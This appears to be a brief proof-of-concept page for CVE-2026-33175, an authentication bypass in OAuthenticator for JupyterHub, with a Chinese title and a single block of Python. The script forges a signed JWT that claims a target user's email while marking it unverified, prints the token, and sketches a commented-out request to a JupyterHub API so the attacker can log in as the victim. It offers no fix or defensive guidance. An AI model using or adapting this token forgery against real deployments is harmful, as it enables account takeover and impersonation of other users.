CVE-2026-33175 OAuthenticator身份验证绕过漏洞

# This is a conceptual Proof of Concept to demonstrate the vulnerability logic. # It simulates an attacker manipulating the token to bypass email verification check. import jwt import datetime # Configuration SECRET_KEY = "your_auth0_client_secret" # Attacker might know this or it might be weak ALGORITHM = "HS256" TARGET_EMAIL = "[email protected]" # Malicious payload: Attacker sets email to victim's email but marks it as unverified payload = { "sub": "attacker_auth0_id", "email": TARGET_EMAIL, "email_verified": False, # Vulnerability: System ignores this check "name": "Attacker Name", "iss": "https://your-tenant.auth0.com/", "aud": "jupyterhub_client_id", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1), "iat": datetime.datetime.utcnow() } # Generate the malicious token token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM) print(f"[+] Generated malicious JWT token:") print(token) print(f"[+] Sending request to JupyterHub with unverified email: {TARGET_EMAIL}") print(f"[+] If vulnerable, JupyterHub will allow login as '{TARGET_EMAIL}'") # Conceptual request simulation # headers = {'Authorization': f'Bearer {token}'} # response = requests.get('https://jupyterhub.example.com/hub/api/user', headers=headers)
